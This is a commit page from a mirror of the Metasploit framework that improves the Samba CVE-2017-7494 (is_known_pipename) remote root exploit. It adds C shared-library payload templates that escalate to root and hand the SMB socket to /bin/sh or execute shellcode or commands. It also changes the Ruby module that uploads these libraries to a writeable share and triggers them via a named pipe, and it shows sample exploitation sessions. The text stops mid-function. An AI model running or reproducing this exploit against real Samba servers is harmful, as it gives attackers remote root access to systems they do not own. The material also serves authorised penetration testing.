1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-05 14:57:30 +01:00

Land #8467, Samba CVE-2017-7494 Improvements

This commit is contained in:
Brent Cook 2017-05-30 00:15:03 -05:00
commit a01a2ead1a
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
57 changed files with 686 additions and 308 deletions

View File

@ -35,7 +35,7 @@ PATH
rb-readline
recog
redcarpet
rex-arch (= 0.1.4)
rex-arch
rex-bin_tools
rex-core
rex-encoder
@ -264,7 +264,7 @@ GEM
recog (2.1.8)
nokogiri
redcarpet (3.4.0)
rex-arch (0.1.4)
rex-arch (0.1.8)
rex-text
rex-bin_tools (0.1.3)
metasm

View File

@ -0,0 +1,48 @@
#!/bin/bash
build () {
CC=$1
TARGET_SUFFIX=$2
CFLAGS=$3
echo "[*] Building for ${TARGET_SUFFIX}..."
for type in {shellcode,system,findsock}
do ${CC} ${CFLAGS} -Wall -Werror -fPIC -fno-stack-protector samba-root-${type}.c -shared -o samba-root-${type}-${TARGET_SUFFIX}.so
done
}
rm -f *.o *.so *.gz
#
# Linux GLIBC
#
# x86
build "gcc" "linux-glibc-x86_64" "-m64 -D OLD_LIB_SET_2"
build "gcc" "linux-glibc-x86" "-m32 -D OLD_LIB_SET_1"
# ARM
build "arm-linux-gnueabi-gcc-5" "linux-glibc-armel" "-march=armv5 -mlittle-endian"
build "arm-linux-gnueabihf-gcc-5" "linux-glibc-armhf" "-march=armv7 -mlittle-endian"
build "aarch64-linux-gnu-gcc-4.9" "linux-glibc-aarch64" ""
# MIPS
build "mips-linux-gnu-gcc-5" "linux-glibc-mips" "-D OLD_LIB_SET_1"
build "mipsel-linux-gnu-gcc-5" "linux-glibc-mipsel" "-D OLD_LIB_SET_1"
build "mips64-linux-gnuabi64-gcc-5" "linux-glibc-mips64" "-D OLD_LIB_SET_1"
build "mips64el-linux-gnuabi64-gcc-5" "linux-glibc-mips64el" "-D OLD_LIB_SET_1"
# SPARC
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc64" ""
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc" "-m32 -D OLD_LIB_SET_1"
# PowerPC
build "powerpc-linux-gnu-gcc-5" "linux-glibc-powerpc" "-D OLD_LIB_SET_1"
build "powerpc64-linux-gnu-gcc-5" "linux-glibc-powerpc64" ""
build "powerpc64le-linux-gnu-gcc-4.9" "linux-glibc-powerpc64le" ""
# S390X
build "s390x-linux-gnu-gcc-5" "linux-glibc-s390x" ""
gzip -9 *.so
rm -f *.o *.so

View File

@ -0,0 +1,21 @@
#!/bin/bash
# Assume x86_64 Ubuntu 16.04 base system
apt-get install build-essential \
gcc-5-multilib \
gcc-5-multilib-arm-linux-gnueabi \
gcc-5-multilib-arm-linux-gnueabihf \
gcc-5-multilib-mips-linux-gnu \
gcc-5-multilib-mips64-linux-gnuabi64 \
gcc-5-multilib-mips64el-linux-gnuabi64 \
gcc-5-multilib-mipsel-linux-gnu \
gcc-5-multilib-powerpc-linux-gnu \
gcc-5-multilib-powerpc64-linux-gnu \
gcc-5-multilib-s390x-linux-gnu \
gcc-5-multilib-sparc64-linux-gnu \
gcc-4.9-powerpc64le-linux-gnu \
gcc-4.9-aarch64-linux-gnu
if [ ! -e /usr/include/asm ];
then ln -sf /usr/include/asm-generic /usr/include/asm
fi

View File

@ -0,0 +1,67 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <string.h>
#ifdef OLD_LIB_SET_1
__asm__(".symver execve,execve@GLIBC_2.0");
__asm__(".symver dup2,dup2@GLIBC_2.0");
__asm__(".symver getsockname,getsockname@GLIBC_2.0");
#endif
#ifdef OLD_LIB_SET_2
__asm__(".symver execve,execve@GLIBC_2.2.5");
__asm__(".symver dup2,dup2@GLIBC_2.2.5");
__asm__(".symver getsockname,getsockname@GLIBC_2.2.5");
#endif
extern bool change_to_root_user(void);
// Samba 4 looks for samba_init_module
int samba_init_module(void)
{
char *args[2] = {"/bin/sh", 0};
struct sockaddr_in sa;
socklen_t sl = sizeof(sa);
int s;
unsigned char buff[] = {
0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42,
0xa2, 0x39, 0x00, 0x00, 0xc0, 0x88, 0x03, 0xc8,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x64, 0x7e,
0x64, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x00
};
change_to_root_user();
for (s=4096; s>0; s--) {
// Skip over invalid sockets
if (getsockname(s, (struct sockaddr *)&sa, &sl) != 0)
continue;
// Skip over non internet sockets
if (sa.sin_family != AF_INET)
continue;
// Send a semi-valid SMB response to simplify things
send(s, buff, sizeof(buff), 0);
// Duplicate standard input/output/error
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
execve(args[0], args, NULL);
}
return 0;
}
// Samba 3 looks for init_samba_module
int init_samba_module(void) { return samba_init_module(); }

View File

@ -0,0 +1,47 @@
#include <stdio.h>
#include <stdbool.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
#include <signal.h>
#ifdef OLD_LIB_SET_1
__asm__(".symver mmap,mmap@GLIBC_2.0");
__asm__(".symver memcpy,memcpy@GLIBC_2.0");
__asm__(".symver fork,fork@GLIBC_2.0");
#endif
#ifdef OLD_LIB_SET_2
__asm__(".symver mmap,mmap@GLIBC_2.2.5");
__asm__(".symver memcpy,memcpy@GLIBC_2.2.5");
__asm__(".symver fork,fork@GLIBC_2.2.5");
#endif
#define PAYLOAD_SIZE 10000
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
extern bool change_to_root_user(void);
// Samba 4 looks for samba_init_module
int samba_init_module(void)
{
void *mem;
void (*fn)();
change_to_root_user();
mem = mmap(NULL, PAYLOAD_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
if (mem == MAP_FAILED)
return 0;
memcpy(mem, payload, PAYLOAD_SIZE);
fn = (void(*)())mem;
if (! fork()) {
fn();
kill(getpid(), 9);
}
return 0;
}
// Samba 3 looks for init_samba_module
int init_samba_module(void) { return samba_init_module(); }

View File

@ -0,0 +1,34 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
#ifdef OLD_LIB_SET_1
__asm__(".symver system,system@GLIBC_2.0");
__asm__(".symver fork,fork@GLIBC_2.0");
#endif
#ifdef OLD_LIB_SET_2
__asm__(".symver system,system@GLIBC_2.2.5");
__asm__(".symver fork,fork@GLIBC_2.2.5");
#endif
#define PAYLOAD_SIZE 10000
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
extern bool change_to_root_user(void);
// Samba 4 looks for samba_init_module
int samba_init_module(void)
{
change_to_root_user();
if (! fork()) {
system((const char*)payload);
}
return 0;
}
// Samba 3 looks for init_samba_module
int init_samba_module(void) { return samba_init_module(); }

View File

@ -59,12 +59,12 @@ echo -ne "type=AVC msg=audit(1495745298.086:334): avc: denied { execstack } fo
## Options
**SMB_SHARE_NAME**
The name of the SMB share containing a writeable directory. Shares are automatically scanned for, and if this
variable is non-blank, it will be preferred.
**SMB_SHARE_BASE**
The remote filesystem path correlating with the SMB share name. This value is preferred, but other values are
brute forced including:
@ -80,7 +80,7 @@ echo -ne "type=AVC msg=audit(1495745298.086:334): avc: denied { execstack } fo
10. /tmp/home/home/shared
**SMB_FOLDER**
The directory to use within the writeable SMB share. Writable directories are automatically scanned for, and if this
variable is non-blank, it will be preferred.
@ -91,7 +91,7 @@ echo -ne "type=AVC msg=audit(1495745298.086:334): avc: denied { execstack } fo
```
msf exploit(is_known_pipename) > exploit
[*] Started reverse TCP handler on 1.2.3.117:4444
[*] Started reverse TCP handler on 1.2.3.117:4444
[*] 1.2.3.119:445 - Using location \\1.2.3.119\ESX\ for the path
[*] 1.2.3.119:445 - Payload is stored in //1.2.3.119/ESX/ as eePUbtdw.so
[*] 1.2.3.119:445 - Trying location /volume1/eePUbtdw.so...
@ -108,9 +108,9 @@ Linux synologyNAS 3.10.102 #15101 SMP Fri May 5 12:01:38 CST 2017 x86_64 GNU/Lin
### Ubuntu 16.04
```
msf exploit(is_known_pipename) > exploit
msf exploit(is_known_pipename) > exploit
[*] Started reverse TCP handler on 192.168.0.3:4444
[*] Started reverse TCP handler on 192.168.0.3:4444
[*] 192.168.0.3:445 - Using location \\192.168.0.3\yarp\h for the path
[*] 192.168.0.3:445 - Payload is stored in //192.168.0.3/yarp/h as GTithXJz.so
[*] 192.168.0.3:445 - Trying location /tmp/yarp/h/GTithXJz.so...

View File

@ -638,6 +638,201 @@ module Msf
lang
end
# Map an integer share type to a human friendly descriptor
def smb_lookup_share_type(val)
[ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]
end
# Retrieve detailed information about a specific share using any available method
def smb_netsharegetinfo(share)
smb_srvsvc_netsharegetinfo(share)
end
# Retrieve detailed share dinformation via the NetShareGetInfo function in the Server Service
def smb_srvsvc_netsharegetinfo(share)
shares = []
simple.connect("\\\\#{rhost}\\IPC$")
handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"])
begin
dcerpc_bind(handle)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error(e.message)
return []
end
stubdata =
NDR.uwstring("\\\\#{rhost}") +
NDR.wstring(share) +
NDR.long(2)
response = dcerpc.call(0x10, stubdata)
if ! response
raise RuntimeError, "Invalid DCERPC response: <empty>"
end
head = response.slice!(0, 40)
if head.length != 40
raise RuntimeError, "Invalid DCERPC response: not enough data"
end
share_info = {
share_type: head[12, 4].unpack('V').first,
permissions: head[20, 4].unpack('V').first,
max_users: head[24, 4].unpack('V').first,
}
idx = 0
[:share, :comment, :path, :password].each do |field|
field_info = response[idx, 12].unpack("V*")
break if field_info.length == 0
idx += 12
field_text = response[idx, field_info.first * 2]
share_info[ field ] = field_text.gsub("\x00", '')
idx += (field_info.first * 2)
idx += (idx % 4)
end
share_info
end
# Retreive a list of all shares using any available method
def smb_netshareenumall
begin
return smb_srvsvc_netshareenumall
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Warning: NetShareEnumAll failed via Server Service, falling back to LANMAN: #{e}")
fail_with(Failure::NoTarget, "No matching target")
return smb_lanman_netshareenumall
end
end
# Retrieve a list of shares via the NetShareEnumAll function in the Server Service
def smb_srvsvc_netshareenumall
shares = []
simple.connect("\\\\#{rhost}\\IPC$")
handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"])
begin
dcerpc_bind(handle)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error(e.message)
return []
end
stubdata =
NDR.uwstring("\\\\#{rhost}") +
NDR.long(1) #level
ref_id = stubdata[0,4].unpack("V")[0]
ctr = [1, ref_id + 4 , 0, 0].pack("VVVV")
stubdata << ctr
stubdata << NDR.align(ctr)
stubdata << ["FFFFFFFF"].pack("H*")
stubdata << [ref_id + 8, 0].pack("VV")
response = dcerpc.call(0x0f, stubdata)
res = response.dup
win_error = res.slice!(-4, 4).unpack("V")[0]
if win_error != 0
raise RuntimeError, "Invalid DCERPC response: win_error = #{win_error}"
end
# Remove unused data
res.slice!(0,12) # level, CTR header, Reference ID of CTR
share_count = res.slice!(0, 4).unpack("V")[0]
res.slice!(0,4) # Reference ID of CTR1
share_max_count = res.slice!(0, 4).unpack("V")[0]
if share_max_count != share_count
raise RuntimeError, "Invalid DCERPC response: count != count max (#{share_count}/#{share_max_count})"
end
# ReferenceID / Type / ReferenceID of Comment
types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]}
share_count.times do |t|
length, offset, max_length = res.slice!(0, 12).unpack("VVV")
if offset != 0
raise RuntimeError, "Invalid DCERPC response: offset != 0 (#{offset})"
end
if length != max_length
raise RuntimeError, "Invalid DCERPC response: length !=max_length (#{length}/#{max_length})"
end
name = res.slice!(0, 2 * length).gsub('\x00','')
res.slice!(0,2) if length % 2 == 1 # pad
comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV")
if comment_offset != 0
raise RuntimeError, "Invalid DCERPC response: comment_offset != 0 (#{comment_offset})"
end
if comment_length != comment_max_length
raise RuntimeError, "Invalid DCERPC response: comment_length != comment_max_length (#{comment_length}/#{comment_max_length})"
end
comment = res.slice!(0, 2 * comment_length)
res.slice!(0,2) if comment_length % 2 == 1 # pad
name = Rex::Text.to_ascii(name).gsub("\x00", "")
s_type = Rex::Text.to_ascii(smb_lookup_share_type(types[t])).gsub("\x00", "")
comment = Rex::Text.to_ascii(comment).gsub("\x00", "")
shares << [ name, s_type, comment ]
end
shares
end
# Retrieve a list of shares via the NetShareEnumAll function in the LANMAN service
# This method can only return shares with names 12 bytes or less
def smb_lanman_netshareenumall
shares = []
begin
res = self.simple.client.trans(
"\\PIPE\\LANMAN",
(
[0x00].pack('v') +
"WrLeh\x00" +
"B13BWz\x00" +
[0x01, 65406].pack("vv")
))
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Could not enumerate shares via LANMAN")
return []
end
if res.nil?
vprint_error("Could not enumerate shares via LANMAN")
return []
end
lerror, lconv, lentries, lcount = res['Payload'].to_s[
res['Payload'].v['ParamOffset'],
res['Payload'].v['ParamCount']
].unpack("v4")
data = res['Payload'].to_s[
res['Payload'].v['DataOffset'],
res['Payload'].v['DataCount']
]
0.upto(lentries - 1) do |i|
sname,tmp = data[(i * 20) + 0, 14].split("\x00")
stype = data[(i * 20) + 14, 2].unpack('v')[0]
scoff = data[(i * 20) + 16, 2].unpack('v')[0]
scoff -= lconv if lconv != 0
scomm,tmp = data[scoff, data.length - scoff].split("\x00")
shares << [ sname, smb_lookup_share_type(stype), scomm]
end
shares
end
# @return [Rex::Proto::SMB::SimpleClient]
attr_accessor :simple
end

View File

@ -139,8 +139,12 @@ attr_accessor :socket, :client, :direct, :shares, :last_share
end
def disconnect(share)
ok = self.client.tree_disconnect(self.shares[share])
self.shares.delete(share)
if self.shares[share]
ok = self.client.tree_disconnect(self.shares[share])
self.shares.delete(share)
return ok
end
false
end

View File

@ -136,7 +136,7 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'rex-struct2'
# Library which contains architecture specific information such as registers, opcodes,
# and stack manipulation routines.
spec.add_runtime_dependency 'rex-arch', '0.1.4'
spec.add_runtime_dependency 'rex-arch'
# Library for working with OLE.
spec.add_runtime_dependency 'rex-ole'
# Library for creating and/or parsing MIME messages.

View File

@ -49,16 +49,11 @@ class MetasploitModule < Msf::Auxiliary
OptBool.new('SpiderProfiles', [false, 'Spider only user profiles when share = C$', true]),
OptEnum.new('LogSpider', [false, '0 = disabled, 1 = CSV, 2 = table (txt), 3 = one liner (txt)', 3, [0,1,2,3]]),
OptInt.new('MaxDepth', [true, 'Max number of subdirectories to spider', 999]),
OptBool.new('USE_SRVSVC_ONLY', [true, 'List shares only with SRVSVC', false ])
])
deregister_options('RPORT', 'RHOST')
end
def share_type(val)
[ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]
end
def device_type_int_to_text(device_type)
types = [
"UNSET", "BEEP", "CDROM", "CDROM FILE SYSTEM", "CONTROLLER", "DATALINK",
@ -172,114 +167,6 @@ class MetasploitModule < Msf::Auxiliary
os_info
end
def lanman_netshareenum(ip, rport, info)
shares = []
begin
res = self.simple.client.trans(
"\\PIPE\\LANMAN",
(
[0x00].pack('v') +
"WrLeh\x00" +
"B13BWz\x00" +
[0x01, 65406].pack("vv")
))
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
if e.error_code == 0xC00000BB
vprint_error("Got 0xC00000BB while enumerating shares, switching to srvsvc...")
@srvsvc = true # Make sure the module is aware of this state
return srvsvc_netshareenum(ip)
end
end
return [] if res.nil?
lerror, lconv, lentries, lcount = res['Payload'].to_s[
res['Payload'].v['ParamOffset'],
res['Payload'].v['ParamCount']
].unpack("v4")
data = res['Payload'].to_s[
res['Payload'].v['DataOffset'],
res['Payload'].v['DataCount']
]
0.upto(lentries - 1) do |i|
sname,tmp = data[(i * 20) + 0, 14].split("\x00")
stype = data[(i * 20) + 14, 2].unpack('v')[0]
scoff = data[(i * 20) + 16, 2].unpack('v')[0]
scoff -= lconv if lconv != 0
scomm,tmp = data[scoff, data.length - scoff].split("\x00")
shares << [ sname, share_type(stype), scomm]
end
shares
end
def srvsvc_netshareenum(ip)
shares = []
simple.connect("\\\\#{ip}\\IPC$")
handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"])
begin
dcerpc_bind(handle)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error(e.message)
return []
end
stubdata =
NDR.uwstring("\\\\#{ip}") +
NDR.long(1) #level
ref_id = stubdata[0,4].unpack("V")[0]
ctr = [1, ref_id + 4 , 0, 0].pack("VVVV")
stubdata << ctr
stubdata << NDR.align(ctr)
stubdata << ["FFFFFFFF"].pack("H*")
stubdata << [ref_id + 8, 0].pack("VV")
response = dcerpc.call(0x0f, stubdata)
res = response.dup
win_error = res.slice!(-4, 4).unpack("V")[0]
if win_error != 0
raise "DCE/RPC error : Win_error = #{win_error + 0}"
end
# remove some uneeded data
res.slice!(0,12) # level, CTR header, Reference ID of CTR
share_count = res.slice!(0, 4).unpack("V")[0]
res.slice!(0,4) # Reference ID of CTR1
share_max_count = res.slice!(0, 4).unpack("V")[0]
raise "Dce/RPC error : Unknow situation encountered count != count max (#{share_count}/#{share_max_count})" if share_max_count != share_count
# RerenceID / Type / ReferenceID of Comment
types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]}
share_count.times do |t|
length, offset, max_length = res.slice!(0, 12).unpack("VVV")
raise "Dce/RPC error : Unknow situation encountered offset != 0 (#{offset})" if offset != 0
raise "Dce/RPC error : Unknow situation encountered length !=max_length (#{length}/#{max_length})" if length != max_length
name = res.slice!(0, 2 * length).gsub('\x00','')
res.slice!(0,2) if length % 2 == 1 # pad
comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV")
raise "Dce/RPC error : Unknow situation encountered comment_offset != 0 (#{comment_offset})" if comment_offset != 0
if comment_length != comment_max_length
raise "Dce/RPC error : Unknow situation encountered comment_length != comment_max_length (#{comment_length}/#{comment_max_length})"
end
comment = res.slice!(0, 2 * comment_length).gsub('\x00','')
res.slice!(0,2) if comment_length % 2 == 1 # pad
name = Rex::Text.to_ascii(name)
s_type = Rex::Text.to_ascii(share_type(types[t]))
comment = Rex::Text.to_ascii(comment)
shares << [ name, s_type, comment ]
end
shares
end
def get_user_dirs(ip, share, base, sub_dirs)
dirs = []
usernames = []
@ -445,11 +332,7 @@ class MetasploitModule < Msf::Auxiliary
begin
connect
smb_login
if @srvsvc
shares = srvsvc_netshareenum(ip)
else
shares = lanman_netshareenum(ip, rport, info)
end
shares = smb_netshareenumall
os_info = get_os_info(ip, rport)
print_status(os_info) if os_info

View File

@ -22,10 +22,9 @@ class MetasploitModule < Msf::Exploit::Remote
},
'Author' =>
[
'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery
'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery & Python Exploit
'hdm', # Metasploit Module
'Brendan Coles <bcoles[at]gmail.com>', # Check logic
'Tavis Ormandy <taviso[at]google.com>', # PID hunting technique
],
'License' => MSF_LICENSE,
'References' =>
@ -39,58 +38,85 @@ class MetasploitModule < Msf::Exploit::Remote
'DisableNops' => true
},
'Platform' => 'linux',
#
# Targets are currently limited by platforms with ELF-SO payload wrappers
#
'Targets' =>
[
[ 'Automatic (Interact)',
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'Interact' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find'
}
}
}
],
[ 'Automatic (Command)',
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }
],
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
#
# Not ready yet
# [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
# [ 'Linux MIPS', { 'Arch' => MIPS } ],
[ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
[ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ],
[ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ],
[ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ],
[ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ],
[ 'Linux MIPS64LE', { 'Arch' => ARCH_MIPS64LE } ],
[ 'Linux PPC', { 'Arch' => ARCH_PPC } ],
[ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ],
[ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],
[ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ],
[ 'Linux SPARC64', { 'Arch' => ARCH_SPARC64 } ],
[ 'Linux s390x', { 'Arch' => ARCH_ZARCH } ],
],
'DefaultOptions' =>
{
'DCERPC::fake_bind_multi' => false,
'SHELL' => '/bin/sh',
},
'Privileged' => true,
'DisclosureDate' => 'Mar 24 2017',
'DefaultTarget' => 1))
'DefaultTarget' => 0))
register_options(
[
OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']),
OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
])
register_advanced_options(
[
OptBool.new('BruteforcePID', [false, 'Attempt to use two connections to bruteforce the PID working directory', false]),
])
end
# Setup our mapping of Metasploit architectures to gcc architectures
def setup
super
@@payload_arch_mappings = {
ARCH_X86 => [ 'x86' ],
ARCH_X64 => [ 'x86_64' ],
ARCH_MIPS => [ 'mips' ],
ARCH_MIPSLE => [ 'mipsel' ],
ARCH_MIPSBE => [ 'mips' ],
ARCH_MIPS64 => [ 'mips64' ],
ARCH_MIPS64LE => [ 'mips64el' ],
ARCH_PPC => [ 'powerpc' ],
ARCH_PPC64 => [ 'powerpc64' ],
ARCH_PPC64LE => [ 'powerpc64le' ],
ARCH_SPARC => [ 'sparc' ],
ARCH_SPARC64 => [ 'sparc64' ],
ARCH_ARMLE => [ 'armel', 'armhf' ],
ARCH_AARCH64 => [ 'aarch64' ],
ARCH_ZARCH => [ 's390x' ],
}
def generate_common_locations
candidates = []
if datastore['SMB_SHARE_BASE'].to_s.length > 0
candidates << datastore['SMB_SHARE_BASE']
end
# Architectures we don't offically support but can shell anyways with interact
@@payload_arch_bonus = %W{
mips64el sparc64 s390x
}
%W{ /volume1 /volume2 /volume3 /volume4
/shared /mnt /mnt/usb /media /mnt/media
/var/samba /tmp /home /home/shared
}.each do |base_name|
candidates << base_name
candidates << [base_name, @share]
candidates << [base_name, @share.downcase]
candidates << [base_name, @share.upcase]
candidates << [base_name, @share.capitalize]
candidates << [base_name, @share.gsub(" ", "_")]
end
candidates.uniq
# General platforms (OS + C library)
@@payload_platforms = %W{
linux-glibc
}
end
# List all top-level directories within a given share
def enumerate_directories(share)
begin
self.simple.connect("\\\\#{rhost}\\#{share}")
@ -109,15 +135,14 @@ class MetasploitModule < Msf::Exploit::Remote
return nil
ensure
if self.simple.shares["\\\\#{rhost}\\#{share}"]
self.simple.disconnect("\\\\#{rhost}\\#{share}")
end
simple.disconnect("\\\\#{rhost}\\#{share}")
end
end
# Determine whether a directory in a share is writeable
def verify_writeable_directory(share, directory="")
begin
self.simple.connect("\\\\#{rhost}\\#{share}")
simple.connect("\\\\#{rhost}\\#{share}")
random_filename = Rex::Text.rand_text_alpha(5)+".txt"
filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"
@ -134,66 +159,17 @@ class MetasploitModule < Msf::Exploit::Remote
return false
ensure
if self.simple.shares["\\\\#{rhost}\\#{share}"]
self.simple.disconnect("\\\\#{rhost}\\#{share}")
end
simple.disconnect("\\\\#{rhost}\\#{share}")
end
end
def share_type(val)
[ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]
end
def enumerate_shares_lanman
shares = []
begin
res = self.simple.client.trans(
"\\PIPE\\LANMAN",
(
[0x00].pack('v') +
"WrLeh\x00" +
"B13BWz\x00" +
[0x01, 65406].pack("vv")
))
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Could not enumerate shares via LANMAN")
return []
end
if res.nil?
vprint_error("Could not enumerate shares via LANMAN")
return []
end
lerror, lconv, lentries, lcount = res['Payload'].to_s[
res['Payload'].v['ParamOffset'],
res['Payload'].v['ParamCount']
].unpack("v4")
data = res['Payload'].to_s[
res['Payload'].v['DataOffset'],
res['Payload'].v['DataCount']
]
0.upto(lentries - 1) do |i|
sname,tmp = data[(i * 20) + 0, 14].split("\x00")
stype = data[(i * 20) + 14, 2].unpack('v')[0]
scoff = data[(i * 20) + 16, 2].unpack('v')[0]
scoff -= lconv if lconv != 0
scomm,tmp = data[scoff, data.length - scoff].split("\x00")
shares << [ sname, share_type(stype), scomm]
end
shares
end
def probe_module_path(path, simple_client=self.simple)
begin
simple_client.create_pipe(path)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Probe: #{path}: #{e}")
end
# Call NetShareGetInfo to retrieve the server-side path
def find_share_path
share_info = smb_netsharegetinfo(@share)
share_info[:path].gsub("\\", "/").sub(/^.*:/, '')
end
# Crawl top-level directories and test for writeable
def find_writeable_path(share)
subdirs = enumerate_directories(share)
return unless subdirs
@ -210,9 +186,10 @@ class MetasploitModule < Msf::Exploit::Remote
nil
end
# Locate a writeable directory across identified shares
def find_writeable_share_path
@path = nil
share_info = enumerate_shares_lanman
share_info = smb_netshareenumall
if datastore['SMB_SHARE_NAME'].to_s.length > 0
share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']
end
@ -227,92 +204,224 @@ class MetasploitModule < Msf::Exploit::Remote
end
end
# Locate a writeable share
def find_writeable
find_writeable_share_path
unless @share && @path
print_error("No suiteable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")
print_error("No suitable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")
fail_with(Failure::NoTarget, "No matching target")
end
print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
end
def upload_payload
# Store the wrapped payload into the writeable share
def upload_payload(wrapped_payload)
begin
self.simple.connect("\\\\#{rhost}\\#{@share}")
random_filename = Rex::Text.rand_text_alpha(8)+".so"
filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"
wfd = simple.open(filename, 'rwct')
wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform,
payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform}
)
wfd << wrapped_payload
wfd.close
@payload_name = random_filename
return true
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
print_error("Write #{@share}#{filename}: #{e}")
return false
ensure
if self.simple.shares["\\\\#{rhost}\\#{@share}"]
self.simple.disconnect("\\\\#{rhost}\\#{@share}")
simple.disconnect("\\\\#{rhost}\\#{@share}")
end
print_status("Uploaded payload to \\\\#{rhost}\\#{@share}#{filename}")
return true
end
# Try both pipe open formats in order to load the uploaded shared library
def trigger_payload
target = [@share_path, @path, @payload_name].join("/").gsub(/\/+/, '/')
[
"\\\\PIPE\\" + target,
target
].each do |tpath|
print_status("Loading the payload from server-side path #{target} using #{tpath}...")
smb_connect
# Try to execute the shared library from the share
begin
simple.client.create_pipe(tpath)
probe_module_path(tpath)
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError
# Common errors we can safely ignore
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
# Look for STATUS_OBJECT_PATH_INVALID indicating our interact payload loaded
if e.error_code == 0xc0000039
print_good("Probe response indicates the interactive payload was loaded...")
smb_shell = self.sock
self.sock = nil
remove_socket(sock)
handler(smb_shell)
return true
else
print_error(" >> Failed to load #{e.error_name}")
end
end
disconnect
end
false
end
# Use fancy payload wrappers to make exploitation a joyously lazy exercise
def cycle_possible_payloads
template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-7494")
template_list = []
template_type = nil
template_arch = nil
# Handle the generic command types first
if target.arch.include?(ARCH_CMD)
template_type = target['Interact'] ? 'findsock' : 'system'
all_architectures = @@payload_arch_mappings.values.flatten.uniq
# Include our bonus architectures for the interact payload
if target['Interact']
@@payload_arch_bonus.each do |t_arch|
all_architectures << t_arch
end
end
# Prioritize the most common architectures first
%W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch|
template_list << all_architectures.delete(t_arch)
end
# Queue up the rest for later
all_architectures.each do |t_arch|
template_list << t_arch
end
# Handle the specific architecture targets next
else
template_type = 'shellcode'
target.arch.each do |t_name|
@@payload_arch_mappings[t_name].each do |t_arch|
template_list << t_arch
end
end
end
# Remove any duplicates that mau have snuck in
template_list.uniq!
# Cycle through each top-level platform we know about
@@payload_platforms.each do |t_plat|
# Cycle through each template and yield
template_list.each do |t_arch|
wrapper_path = ::File.join(template_base, "samba-root-#{template_type}-#{t_plat}-#{t_arch}.so.gz")
